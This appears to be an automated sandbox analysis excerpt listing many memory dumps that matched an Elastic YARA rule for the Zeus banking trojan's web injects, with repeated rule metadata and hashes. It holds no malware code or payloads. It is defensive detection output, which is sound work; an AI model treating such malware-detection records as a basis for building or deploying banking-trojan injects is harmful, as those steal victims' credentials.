Source: 00000002.00000003.2694477664.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2610885248.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2667661376.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001F.00000002.2699100650.00000000027F0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2711656555.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000A.00000002.2576688656.0000000001520000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2689917423.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000003.2123232589.00000000006F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2689093667.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2642349690.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000010.00000002.2538477716.0000000002A60000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000019.00000002.2629072397.0000000002B90000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000016.00000002.2610943205.0000000002340000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3391913803.0000000002CD1000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000E.00000002.2558937111.0000000002920000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2617323227.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2674089655.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2584410332.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000010.00000002.2535763642.0000000002790000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000022.00000002.2697002323.0000000002740000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2139570153.0000000002A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2685802942.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2642126160.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2712084966.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2696066198.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2711910580.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2684054026.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000007.00000002.2555462875.0000000003100000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2672453488.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000006.00000002.2561383940.00000000016E0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2642540091.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3391439892.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000001C.00000002.2632299607.0000000002D10000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2683452927.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000014.00000002.2583716021.0000000002650000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2682237093.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2591770836.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2646105043.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000019.00000002.2643934604.0000000002F50000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2634522992.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
